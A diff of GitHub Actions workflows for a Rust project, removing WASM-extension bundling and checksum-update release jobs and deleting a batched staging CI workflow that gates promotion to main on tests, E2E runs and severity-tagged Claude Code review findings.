# finds the right file regardless of whether manifest.name matches the filename.
|
||||
file_stem=$(basename "$manifest" .json)
|
||||
# ext_name: the manifest's .name field (e.g. "slack-tool").
|
||||
# Used for file names *inside* the archive — the installer extracts by manifest.name.
|
||||
ext_name=$(jq -r '.name' "$manifest")
|
||||
source_dir=$(jq -r '.source.dir' "$manifest")
|
||||
caps_file=$(jq -r '.source.capabilities' "$manifest")
|
||||
crate_name=$(jq -r '.source.crate_name' "$manifest")
|
||||
ext_version=$(jq -r '.version // ""' "$manifest")
|
||||
|
||||
if [ ! -d "$source_dir" ]; then
|
||||
echo "::warning::Source dir '$source_dir' not found for '$file_stem', skipping"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Skip rebuild if this exact version was already built and checksummed.
|
||||
# Checks that (1) the manifest already has a sha256, and (2) the version
|
||||
# embedded in the existing artifact URL matches the current manifest version.
|
||||
# This ensures stable checksums: only rebuild when the source version changes.
|
||||
existing_sha=$(jq -r '.artifacts["wasm32-wasip2"].sha256 // ""' "$manifest")
|
||||
existing_url=$(jq -r '.artifacts["wasm32-wasip2"].url // ""' "$manifest")
|
||||
url_version=$(echo "$existing_url" | sed -n 's/.*-\([0-9].*\)-wasm32-wasip2\.tar\.gz$/\1/p')
|
||||
|
||||
if [[ -n "$ext_version" && "$url_version" == "$ext_version" && -n "$existing_sha" ]]; then
|
||||
echo "=== Skipping $file_stem v$ext_version — already checksummed at $existing_url ==="
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "=== Building $file_stem ($ext_name) v$ext_version from $source_dir ==="
|
||||
|
||||
# Build WASM component
|
||||
cargo component build --release --manifest-path "$source_dir/Cargo.toml" || {
|
||||
echo "::warning::Build failed for '$file_stem', skipping"
|
||||
continue
|
||||
}
|
||||
|
||||
# Find the built WASM file (Cargo uses underscores in artifact names)
|
||||
wasm_artifact="${crate_name//-/_}"
|
||||
wasm_path=""
|
||||
for target_dir in wasm32-wasip2 wasm32-wasip1 wasm32-wasi; do
|
||||
candidate="$source_dir/target/$target_dir/release/${wasm_artifact}.wasm"
|
||||
if [ -f "$candidate" ]; then
|
||||
wasm_path="$candidate"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "$wasm_path" ]; then
|
||||
echo "::warning::No WASM output found for '$file_stem', skipping"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Archive contents use ext_name (manifest .name) — the installer extracts
|
||||
# files by manifest.name, so these must match even when file_stem differs.
|
||||
cp "$wasm_path" "target/wasm-bundles/${ext_name}.wasm"
|
||||
|
||||
caps_path="$source_dir/$caps_file"
|
||||
if [ -f "$caps_path" ]; then
|
||||
cp "$caps_path" "target/wasm-bundles/${ext_name}.capabilities.json"
|
||||
else
|
||||
echo "::warning::No capabilities file at '$caps_path' for '$file_stem'"
|
||||
fi
|
||||
|
||||
# Bundle filename uses file_stem so CI patching can find the manifest by
|
||||
# filename (e.g. slack-0.1.0-wasm32-wasip2.tar.gz → registry/tools/slack.json).
|
||||
bundle="target/wasm-bundles/${file_stem}-${ext_version}-wasm32-wasip2.tar.gz"
|
||||
(cd target/wasm-bundles && if [ -f "${ext_name}.capabilities.json" ]; then
|
||||
tar czf "${file_stem}-${ext_version}-wasm32-wasip2.tar.gz" "${ext_name}.wasm" "${ext_name}.capabilities.json"
|
||||
else
|
||||
tar czf "${file_stem}-${ext_version}-wasm32-wasip2.tar.gz" "${ext_name}.wasm"
|
||||
fi)
|
||||
|
||||
# Compute SHA256
|
||||
sha256=$(sha256sum "$bundle" | cut -d' ' -f1)
|
||||
echo "$sha256 ${file_stem}-${ext_version}-wasm32-wasip2.tar.gz" >> target/wasm-bundles/checksums.txt
|
||||
|
||||
# Clean up intermediate files
|
||||
rm -f "target/wasm-bundles/${ext_name}.wasm" "target/wasm-bundles/${ext_name}.capabilities.json"
|
||||
|
||||
echo " -> $bundle ($sha256)"
|
||||
done
|
||||
|
||||
echo "=== WASM bundles built ==="
|
||||
ls -la target/wasm-bundles/
|
||||
- name: "Upload WASM bundles"
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: artifacts-wasm-extensions
|
||||
path: |
|
||||
target/wasm-bundles/*.tar.gz
|
||||
target/wasm-bundles/checksums.txt
|
||||
|
||||
# Determines if we should publish/announce
|
||||
host:
|
||||
needs:
|
||||
- plan
|
||||
- build-local-artifacts
|
||||
- build-global-artifacts
|
||||
- build-wasm-extensions
|
||||
# Only run if we're "publishing", and only if plan, local, global, and wasm didn't fail (skipped is fine)
|
||||
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
|
||||
# Only run if we're "publishing", and only if plan, local and global didn't fail (skipped is fine)
|
||||
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') }}
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
runs-on: "ubuntu-22.04"
|
||||
@@ -437,76 +282,6 @@ jobs:
|
||||
|
||||
gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/*
|
||||
|
||||
# Commit patched manifest SHA256 checksums back to main so the repo
|
||||
# stays in sync with the released artifacts.
|
||||
update-registry-checksums:
|
||||
needs:
|
||||
- plan
|
||||
- host
|
||||
- build-wasm-extensions
|
||||
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
|
||||
runs-on: "ubuntu-22.04"
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
ref: main
|
||||
- name: Fetch WASM checksums
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: artifacts-wasm-extensions
|
||||
path: target/wasm-bundles/
|
||||
- name: Patch manifests with SHA256 and version-pinned URL
|
||||
shell: bash
|
||||
env:
|
||||
RELEASE_TAG: ${{ github.ref_name }}
|
||||
run: |
|
||||
CHECKSUMS="target/wasm-bundles/checksums.txt"
|
||||
if [ ! -f "$CHECKSUMS" ]; then
|
||||
echo "No checksums.txt found"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r line; do
|
||||
sha256=$(echo "$line" | awk '{print $1}')
|
||||
filename=$(echo "$line" | awk '{print $2}')
|
||||
# Strip -{version}-wasm32-wasip2.tar.gz to get the extension name.
|
||||
# Use '.*' (greedy) so pre-release suffixes like -alpha.1 are consumed too.
|
||||
name=$(echo "$filename" | sed 's/-[0-9].*-wasm32-wasip2\.tar\.gz$//')
|
||||
url="https://github.com/nearai/ironclaw/releases/download/${RELEASE_TAG}/${filename}"
|
||||
|
||||
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
|
||||
if [ -f "$manifest" ]; then
|
||||
jq --arg sha "$sha256" --arg url "$url" \
|
||||
'.artifacts["wasm32-wasip2"].sha256 = $sha | .artifacts["wasm32-wasip2"].url = $url' \
|
||||
"$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
|
||||
echo "Patched $manifest with sha256=$sha256 url=$url"
|
||||
fi
|
||||
done
|
||||
done < "$CHECKSUMS"
|
||||
- name: Create PR with updated manifests
|
||||
run: |
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
git add registry/
|
||||
if git diff --cached --quiet; then
|
||||
echo "No manifest changes to commit"
|
||||
else
|
||||
BRANCH="chore/update-checksums-$(date +%s)"
|
||||
git checkout -b "$BRANCH"
|
||||
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
|
||||
git push origin "$BRANCH"
|
||||
gh pr create \
|
||||
--title "chore: update WASM artifact checksums and version-pinned URLs" \
|
||||
--body "Auto-generated by release CI. Updates SHA256 checksums and version-pinned artifact URLs in registry manifests to match the released WASM artifacts. Only extensions whose version changed since the last release are included." \
|
||||
--base main \
|
||||
--head "$BRANCH"
|
||||
fi
|
||||
|
||||
announce:
|
||||
needs:
|
||||
- plan
|
||||
|
||||
@@ -1,478 +0,0 @@
|
||||
name: Staging CI (Batched)
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 * * * *" # Every 60 minutes
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
force:
|
||||
description: "Force run even if no new commits"
|
||||
type: boolean
|
||||
default: false
|
||||
skip_claude_gate:
|
||||
description: "Skip Claude review gate (bypass blocking findings)"
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
issues: write
|
||||
pull-requests: write
|
||||
checks: read
|
||||
|
||||
concurrency:
|
||||
group: staging-ci
|
||||
cancel-in-progress: false # Let running suites finish
|
||||
|
||||
jobs:
|
||||
# ── Check for new commits ──────────────────────────────────────
|
||||
check-changes:
|
||||
name: Check for new commits
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
has_changes: ${{ steps.check.outputs.has_changes }}
|
||||
current_head: ${{ steps.check.outputs.current_head }}
|
||||
diff_range: ${{ steps.check.outputs.diff_range }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
ref: staging
|
||||
fetch-depth: 0
|
||||
fetch-tags: true
|
||||
|
||||
- name: Check for changes since last tested
|
||||
id: check
|
||||
env:
|
||||
FORCE_RUN: ${{ inputs.force }}
|
||||
run: |
|
||||
CURRENT_HEAD=$(git rev-parse HEAD)
|
||||
echo "current_head=${CURRENT_HEAD}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
if git rev-parse staging-tested >/dev/null 2>&1; then
|
||||
LAST_TESTED=$(git rev-parse staging-tested)
|
||||
else
|
||||
LAST_TESTED=""
|
||||
fi
|
||||
|
||||
DIFF_RANGE=""
|
||||
if [ -n "$LAST_TESTED" ] && [ "$LAST_TESTED" = "$CURRENT_HEAD" ]; then
|
||||
echo "No new commits since last tested (${CURRENT_HEAD})"
|
||||
HAS_CHANGES=false
|
||||
else
|
||||
HAS_CHANGES=true
|
||||
if [ -n "$LAST_TESTED" ]; then
|
||||
COMMIT_COUNT=$(git rev-list --count "${LAST_TESTED}..HEAD")
|
||||
echo "Found ${COMMIT_COUNT} new commit(s) since last tested"
|
||||
DIFF_RANGE="${LAST_TESTED}..${CURRENT_HEAD}"
|
||||
else
|
||||
git fetch origin main
|
||||
MERGE_BASE=$(git merge-base origin/main HEAD)
|
||||
echo "First run -- reviewing from merge-base ${MERGE_BASE}"
|
||||
DIFF_RANGE="${MERGE_BASE}..${CURRENT_HEAD}"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Force override from workflow_dispatch
|
||||
if [ "$FORCE_RUN" = "true" ]; then
|
||||
echo "Force run requested"
|
||||
HAS_CHANGES=true
|
||||
if [ -z "$DIFF_RANGE" ]; then
|
||||
DIFF_RANGE="${CURRENT_HEAD}..${CURRENT_HEAD}"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "has_changes=${HAS_CHANGES}" >> "$GITHUB_OUTPUT"
|
||||
echo "diff_range=${DIFF_RANGE}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# ── Run full test suite ──────────────────────────────────────────
|
||||
tests:
|
||||
name: Test Suite
|
||||
needs: check-changes
|
||||
if: needs.check-changes.outputs.has_changes == 'true'
|
||||
uses: ./.github/workflows/test.yml
|
||||
|
||||
# ── Run E2E browser tests ────────────────────────────────────────
|
||||
e2e:
|
||||
name: E2E Browser Tests
|
||||
needs: check-changes
|
||||
if: needs.check-changes.outputs.has_changes == 'true'
|
||||
uses: ./.github/workflows/e2e.yml
|
||||
|
||||
# ── Create promotion PR (triggers claude-review.yml on the PR) ──
|
||||
create-promotion-pr:
|
||||
name: Create Promotion PR
|
||||
needs: check-changes
|
||||
if: needs.check-changes.outputs.has_changes == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
pr_number: ${{ steps.create-pr.outputs.pr_number }}
|
||||
promotion_branch: ${{ steps.branch.outputs.branch }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
ref: staging
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Generate GitHub App token
|
||||
id: app-token
|
||||
uses: actions/create-github-app-token@v2
|
||||
with:
|
||||
app-id: ${{ secrets.GH_RELEASES_MANAGER_APP_ID }}
|
||||
private-key: ${{ secrets.GH_RELEASES_MANAGER_APP_PRIVATE_KEY }}
|
||||
|
||||
- name: Set token
|
||||
id: token
|
||||
run: |
|
||||
if [ -n "${{ steps.app-token.outputs.token }}" ]; then
|
||||
echo "token=${{ steps.app-token.outputs.token }}" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "token=${{ github.token }}" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Check if staging is ahead of main
|
||||
id: ahead-check
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
run: |
|
||||
git fetch origin main
|
||||
AHEAD=$(git rev-list --count origin/main..origin/staging)
|
||||
echo "commits_ahead=${AHEAD}" >> "$GITHUB_OUTPUT"
|
||||
if [ "$AHEAD" -eq 0 ]; then
|
||||
echo "Staging is not ahead of main. Nothing to promote."
|
||||
else
|
||||
echo "Staging is ${AHEAD} commits ahead of main."
|
||||
fi
|
||||
|
||||
- name: Create promotion branch
|
||||
id: branch
|
||||
if: steps.ahead-check.outputs.commits_ahead != '0'
|
||||
run: |
|
||||
SHORT_SHA=$(echo "${{ needs.check-changes.outputs.current_head }}" | cut -c1-8)
|
||||
BRANCH="staging-promote/${SHORT_SHA}-${{ github.run_id }}"
|
||||
git checkout -b "$BRANCH"
|
||||
git push origin "$BRANCH"
|
||||
echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT"
|
||||
echo "Created promotion branch: ${BRANCH}"
|
||||
|
||||
- name: Find base branch
|
||||
id: find-base
|
||||
if: steps.ahead-check.outputs.commits_ahead != '0'
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
run: |
|
||||
# Find the newest open promotion PR with a staging-promote/* head branch
|
||||
LATEST=$(gh pr list --label staging-promotion --state open \
|
||||
--json headRefName,createdAt \
|
||||
--jq '[.[] | select(.headRefName | startswith("staging-promote/"))] | sort_by(.createdAt) | last | .headRefName // empty')
|
||||
if [ -n "$LATEST" ]; then
|
||||
echo "base=${LATEST}" >> "$GITHUB_OUTPUT"
|
||||
echo "Chaining onto existing promotion branch: ${LATEST}"
|
||||
else
|
||||
echo "base=main" >> "$GITHUB_OUTPUT"
|
||||
echo "No existing promotion PR — targeting main"
|
||||
fi
|
||||
|
||||
- name: Create promotion PR
|
||||
id: create-pr
|
||||
if: steps.ahead-check.outputs.commits_ahead != '0'
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
run: |
|
||||
RANGE="${{ needs.check-changes.outputs.diff_range }}"
|
||||
TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M UTC")
|
||||
BRANCH="${{ steps.branch.outputs.branch }}"
|
||||
BASE="${{ steps.find-base.outputs.base }}"
|
||||
|
||||
PR_URL=$(gh pr create \
|
||||
--base "$BASE" \
|
||||
--head "$BRANCH" \
|
||||
--title "chore: promote staging to main (${TIMESTAMP})" \
|
||||
--body "## Auto-promotion from staging CI
|
||||
|
||||
**Batch range:** \`${RANGE}\`
|
||||
**Promotion branch:** \`${BRANCH}\`
|
||||
**Base:** \`${BASE}\`
|
||||
**Triggered by:** Staging CI batch at ${TIMESTAMP}
|
||||
|
||||
Waiting for gates:
|
||||
- Tests: pending
|
||||
- E2E: pending
|
||||
- Claude Code review: pending (will post comments on this PR)
|
||||
|
||||
---
|
||||
*Auto-created by staging-ci workflow*" \
|
||||
--label "staging-promotion")
|
||||
|
||||
PR_NUM=$(echo "$PR_URL" | grep -oE '[0-9]+$')
|
||||
echo "pr_number=${PR_NUM}" >> "$GITHUB_OUTPUT"
|
||||
echo "Created promotion PR #${PR_NUM}"
|
||||
|
||||
# ── Gate: wait for review, process findings, merge or block ─────
|
||||
gate:
|
||||
name: Staging Gate
|
||||
needs: [check-changes, tests, e2e, create-promotion-pr]
|
||||
if: >
|
||||
always() &&
|
||||
needs.check-changes.outputs.has_changes == 'true' &&
|
||||
needs.tests.result == 'success' &&
|
||||
needs.e2e.result == 'success' &&
|
||||
needs.create-promotion-pr.result == 'success'
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 25
|
||||
outputs:
|
||||
gate_passed: ${{ steps.evaluate.outputs.passed }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
ref: staging
|
||||
fetch-depth: 1
|
||||
|
||||
- name: Generate GitHub App token
|
||||
id: app-token
|
||||
uses: actions/create-github-app-token@v2
|
||||
with:
|
||||
app-id: ${{ secrets.GH_RELEASES_MANAGER_APP_ID }}
|
||||
private-key: ${{ secrets.GH_RELEASES_MANAGER_APP_PRIVATE_KEY }}
|
||||
|
||||
- name: Set token
|
||||
id: token
|
||||
run: |
|
||||
if [ -n "${{ steps.app-token.outputs.token }}" ]; then
|
||||
echo "token=${{ steps.app-token.outputs.token }}" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "token=${{ github.token }}" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Wait for Claude review job
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
PR_NUMBER: ${{ needs.create-promotion-pr.outputs.pr_number }}
|
||||
REPO: ${{ github.repository }}
|
||||
run: |
|
||||
if [ -z "$PR_NUMBER" ]; then
|
||||
echo "No PR number — skipping wait"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
PR_SHA=$(gh pr view "$PR_NUMBER" --json headRefOid --jq '.headRefOid' || echo "")
|
||||
if [ -z "$PR_SHA" ]; then
|
||||
echo "::warning::Could not get PR head SHA"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Polling for Claude Code Review job on PR #${PR_NUMBER} (SHA: ${PR_SHA})..."
|
||||
TIMEOUT=1200 # 20 minutes
|
||||
ELAPSED=0
|
||||
INTERVAL=30
|
||||
|
||||
while [ "$ELAPSED" -lt "$TIMEOUT" ]; do
|
||||
STATUS=$(gh api "repos/${REPO}/commits/${PR_SHA}/check-runs" \
|
||||
--jq '[.check_runs[] | select(.name == "Claude Code Review") | .conclusion // .status] | first // "pending"' 2>/dev/null || echo "pending")
|
||||
|
||||
if [ "$STATUS" = "success" ] || [ "$STATUS" = "failure" ] || [ "$STATUS" = "cancelled" ]; then
|
||||
echo "Claude review job completed with status: ${STATUS} (${ELAPSED}s)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Claude review status: ${STATUS} (${ELAPSED}s elapsed)"
|
||||
sleep "$INTERVAL"
|
||||
ELAPSED=$((ELAPSED + INTERVAL))
|
||||
done
|
||||
|
||||
echo "::warning::Claude review job not completed after ${TIMEOUT}s"
|
||||
|
||||
- name: Process Claude review comments and create issues
|
||||
id: process-findings
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
PR_NUMBER: ${{ needs.create-promotion-pr.outputs.pr_number }}
|
||||
REPO: ${{ github.repository }}
|
||||
run: |
|
||||
HAS_BLOCKING=false
|
||||
ISSUES_CREATED=0
|
||||
|
||||
if [ -z "$PR_NUMBER" ]; then
|
||||
echo "No PR — skipping finding processing"
|
||||
echo "has_blocking=false" >> "$GITHUB_OUTPUT"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Check for "No issues found" first (clean pass)
|
||||
NO_ISSUES=$(gh api "repos/${REPO}/issues/${PR_NUMBER}/comments" \
|
||||
--jq '[.[] | select(.user.login == "claude[bot]") | select(.body | test("No issues found"))] | length' 2>/dev/null || echo "0")
|
||||
if [ "$NO_ISSUES" -gt 0 ]; then
|
||||
echo "Claude review found no issues — gate passes"
|
||||
echo "has_blocking=false" >> "$GITHUB_OUTPUT"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Get the last Claude comment that contains findings
|
||||
JQ_FILTER='[.[] | select(.user.login == "claude[bot]") | select(.body | test("Found [0-9]+ issue"))] | last'
|
||||
BODY=$(gh api "repos/${REPO}/issues/${PR_NUMBER}/comments" \
|
||||
--jq "${JQ_FILTER} | .body // empty" 2>/dev/null || echo "")
|
||||
COMMENT_URL=$(gh api "repos/${REPO}/issues/${PR_NUMBER}/comments" \
|
||||
--jq "${JQ_FILTER} | .html_url // empty" 2>/dev/null || echo "")
|
||||
|
||||
if [ -z "$BODY" ]; then
|
||||
echo "::warning::No Claude review comment found for PR #${PR_NUMBER} — treating as blocking"
|
||||
echo "has_blocking=true" >> "$GITHUB_OUTPUT"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Parse [SEVERITY:CONFIDENCE] tags from each numbered finding
|
||||
# Matrix: CRITICAL always→issue, ≥80→block. HIGH ≥50→issue. MEDIUM ≥80→issue. LOW ≥80→issue.
|
||||
# Use process substitution so variables propagate to parent shell
|
||||
while read -r line; do
|
||||
TAG=$(echo "$line" | grep -oE '^\[(CRITICAL|HIGH|MEDIUM|LOW):[0-9]+\]')
|
||||
SEVERITY=$(echo "$TAG" | sed 's/\[\(.*\):\(.*\)\]/\1/')
|
||||
CONFIDENCE=$(echo "$TAG" | sed 's/\[\(.*\):\(.*\)\]/\2/')
|
||||
DESC=$(echo "$line" | sed "s/\[${SEVERITY}:${CONFIDENCE}\] *//" | head -1)
|
||||
|
||||
echo "Found: [${SEVERITY}:${CONFIDENCE}] ${DESC}"
|
||||
|
||||
# Check if blocking (CRITICAL ≥80)
|
||||
if [ "$SEVERITY" = "CRITICAL" ] && [ "$CONFIDENCE" -ge 80 ]; then
|
||||
HAS_BLOCKING=true
|
||||
fi
|
||||
|
||||
# Determine if this should create an issue
|
||||
CREATE_ISSUE=false
|
||||
case "$SEVERITY" in
|
||||
CRITICAL) CREATE_ISSUE=true ;;
|
||||
HIGH) [ "$CONFIDENCE" -ge 50 ] && CREATE_ISSUE=true ;;
|
||||
MEDIUM) [ "$CONFIDENCE" -ge 80 ] && CREATE_ISSUE=true ;;
|
||||
LOW) [ "$CONFIDENCE" -ge 80 ] && CREATE_ISSUE=true ;;
|
||||
esac
|
||||
|
||||
if [ "$CREATE_ISSUE" = "true" ]; then
|
||||
case "$SEVERITY" in
|
||||
CRITICAL) LABELS="bug,risk: high,staging-ci-review" ;;
|
||||
HIGH) LABELS="bug,risk: medium,staging-ci-review" ;;
|
||||
MEDIUM) LABELS="risk: medium,staging-ci-review" ;;
|
||||
LOW) LABELS="risk: low,staging-ci-review" ;;
|
||||
esac
|
||||
|
||||
TITLE=$(echo "$DESC" | cut -c1-80)
|
||||
{
|
||||
echo "## [${SEVERITY}:${CONFIDENCE}] Issue Found by Staging CI Review"
|
||||
echo ""
|
||||
echo "**Severity:** ${SEVERITY}"
|
||||
echo "**Confidence:** ${CONFIDENCE}/100"
|
||||
echo "**PR comment:** ${COMMENT_URL}"
|
||||
echo ""
|
||||
echo "### Description"
|
||||
echo "$DESC"
|
||||
echo ""
|
||||
echo "---"
|
||||
echo "*Auto-created by staging-ci Claude Code review*"
|
||||
} > /tmp/issue-body.md
|
||||
|
||||
if gh issue create \
|
||||
--title "[${SEVERITY}] ${TITLE}" \
|
||||
--body-file /tmp/issue-body.md \
|
||||
--label "${LABELS}"; then
|
||||
ISSUES_CREATED=$((ISSUES_CREATED + 1))
|
||||
else
|
||||
echo "::warning::Failed to create issue for ${SEVERITY} finding"
|
||||
fi
|
||||
fi
|
||||
done < <(echo "$BODY" | grep -oE '\[(CRITICAL|HIGH|MEDIUM|LOW):[0-9]+\].*')
|
||||
|
||||
echo "Created ${ISSUES_CREATED} issues"
|
||||
echo "has_blocking=${HAS_BLOCKING}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Evaluate gate
|
||||
id: evaluate
|
||||
env:
|
||||
PR_NUMBER: ${{ needs.create-promotion-pr.outputs.pr_number }}
|
||||
SKIP_GATE: ${{ inputs.skip_claude_gate }}
|
||||
HAS_BLOCKING: ${{ steps.process-findings.outputs.has_blocking }}
|
||||
run: |
|
||||
SKIP_INPUT="$SKIP_GATE"
|
||||
|
||||
if [ "$HAS_BLOCKING" = "true" ]; then
|
||||
echo "::warning::Claude review found blocking issues (CRITICAL ≥80 confidence)"
|
||||
if [ "$SKIP_INPUT" = "true" ]; then
|
||||
echo "::warning::Gate overridden by skip_claude_gate workflow input"
|
||||
echo "passed=true" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "::error::Blocking promotion due to CRITICAL findings (≥80 confidence)"
|
||||
echo "::error::PR #${PR_NUMBER} left open with review comments"
|
||||
echo "passed=false" >> "$GITHUB_OUTPUT"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "No blocking findings. Gate passed."
|
||||
echo "passed=true" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
# Only merge PRs targeting main. Chained PRs (targeting another
|
||||
# promotion branch) stay open — when the base PR merges into main,
|
||||
# GitHub auto-retargets the chained PR. Merging chained PRs would
|
||||
# trigger delete_branch_on_merge, auto-closing downstream PRs.
|
||||
- name: Merge promotion PR
|
||||
id: merge
|
||||
if: steps.evaluate.outputs.passed == 'true'
|
||||
env:
|
||||
GH_TOKEN: ${{ steps.token.outputs.token }}
|
||||
PR_NUMBER: ${{ needs.create-promotion-pr.outputs.pr_number }}
|
||||
run: |
|
||||
if [ -n "$PR_NUMBER" ]; then
|
||||
BASE=$(gh pr view "$PR_NUMBER" --json baseRefName --jq '.baseRefName')
|
||||
if [ "$BASE" = "main" ]; then
|
||||
echo "Merging promotion PR #${PR_NUMBER} (targets main)"
|
||||
gh pr merge "$PR_NUMBER" --merge
|
||||
echo "merged=true" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "PR #${PR_NUMBER} targets '${BASE}' (not main) — leaving open for chain resolution"
|
||||
echo "merged=false" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Update tested tag (always, so next batch covers only new commits) ──
|
||||
update-tag:
|
||||
name: Update staging-tested tag
|
||||
needs: [check-changes, tests, e2e, create-promotion-pr, gate]
|
||||
if: >
|
||||
always() &&
|
||||
needs.check-changes.outputs.has_changes == 'true' &&
|
||||
needs.tests.result == 'success' &&
|
||||
needs.e2e.result == 'success' &&
|
||||
needs.create-promotion-pr.result == 'success'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
ref: staging
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update staging-tested tag
|
||||
run: |
|
||||
git tag -f staging-tested "${{ needs.check-changes.outputs.current_head }}"
|
||||
git push origin staging-tested --force
|
||||
echo "Updated staging-tested tag to ${{ needs.check-changes.outputs.current_head }}"
|
||||
|
||||
# ── Report ───────────────────────────────────────────────────────
|
||||
report:
|
||||
name: Staging CI Summary
|
||||
needs: [check-changes, tests, e2e, create-promotion-pr, gate, update-tag]
|
||||
if: always() && needs.check-changes.outputs.has_changes == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Summary
|
||||
run: |
|
||||
echo "## Staging CI Batch Results" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| Check | Result |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "|-------|--------|" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| Tests | ${{ needs.tests.result }} |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| E2E | ${{ needs.e2e.result }} |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| Promotion PR | ${{ needs.create-promotion-pr.result }} |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| Gate | ${{ needs.gate.result }} |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "| Tag Updated | ${{ needs.update-tag.result }} |" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "" >> "$GITHUB_STEP_SUMMARY"
|
||||
echo "Range: ${{ needs.check-changes.outputs.diff_range }}" >> "$GITHUB_STEP_SUMMARY"
|
||||
PR_NUM="${{ needs.create-promotion-pr.outputs.pr_number }}"
|
||||
if [ -n "$PR_NUM" ]; then
|
||||
echo "Promotion PR: #${PR_NUM}" >> "$GITHUB_STEP_SUMMARY"
|
||||
fi
|
||||
+9
-147
@@ -1,159 +1,21 @@
|
||||
name: Run Tests
|
||||
on:
|
||||
workflow_call:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
tests:
|
||||
name: Tests (${{ matrix.name }})
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--features postgres,libsql,html-to-markdown"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
